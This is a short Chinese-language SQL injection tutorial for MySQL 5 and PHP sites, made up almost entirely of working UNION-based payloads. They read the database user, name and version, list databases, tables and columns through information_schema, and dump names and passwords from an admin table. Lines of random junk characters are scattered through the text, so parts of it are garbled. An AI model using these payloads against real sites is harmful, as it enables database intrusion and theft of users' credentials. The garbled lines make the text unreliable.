mysql盲注手册

admin

教程内容:Mysql 5+php 注入
: k0 n- f" f; e+ k& r# h8 f, S


一.查看MYSQL基本信息(库名,版本,用户)

and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*

二.查数据库
5 B9 r+ t) e# o5 U3 s
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
: ^  x( t. o/ i% g6 X# e; K
. Y3 m+ Y& t# M" P三.暴表

! ?* V# C  d: b* t* q2 h2 vand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
& G( T. O; _% W7 J3 k! k. s
/ B1 P' N  p, _/ N$ v5 Tlimit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

9 C9 h$ s+ E% p4 K* h四.暴字段

and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
- ?/ D1 M; y: K0 j; f: y1 {5 Z
! z5 J; L1 m+ s4 w) f- tlimit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

+ P2 i- m1 z5 D% ?3 {9 w) [五.暴数据
- |; d7 h8 f( g3 d- j: l4 M
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
. Y( `- W' }) I$ j1 b) E

这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。